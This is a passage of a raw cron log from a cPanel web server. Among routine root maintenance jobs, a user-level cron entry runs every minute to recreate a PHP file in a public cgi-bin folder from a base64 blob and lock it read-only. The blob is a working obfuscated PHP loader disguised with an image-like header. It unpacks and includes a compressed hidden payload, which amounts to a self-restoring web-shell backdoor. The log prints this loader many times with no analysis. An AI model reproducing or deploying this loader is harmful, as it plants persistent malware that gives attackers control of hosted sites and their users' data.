FuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:55:01 server CROND[15008]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 19:55:01 server CROND[15009]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 19:56:01 server CROND[15122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:57:01 server CROND[15265]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 19:57:01 server CROND[15266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:58:01 server CROND[15322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:59:01 server CROND[15390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:00:01 server CROND[15462]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 20:00:01 server CROND[15465]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 20:00:01 server CROND[15466]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 20:00:01 server CROND[15463]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  9 20:00:01 server CROND[15467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:01:01 server CROND[15588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:01:01 server CROND[15589]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 20:01:01 server run-parts(/etc/cron.hourly)[15589]: starting 0anacron
Apr  9 20:01:01 server run-parts(/etc/cron.hourly)[15601]: finished 0anacron
Apr  9 20:02:01 server CROND[15751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:03:01 server CROND[15811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:04:01 server CROND[15865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:05:01 server CROND[15927]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 20:05:01 server CROND[15926]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 20:05:01 server CROND[15928]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  9 20:05:01 server CROND[15925]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 20:05:01 server CROND[15930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:06:01 server CROND[16053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:07:01 server CROND[16214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:08:01 server CROND[16272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:09:01 server CROND[16324]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 20:09:01 server CROND[16325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 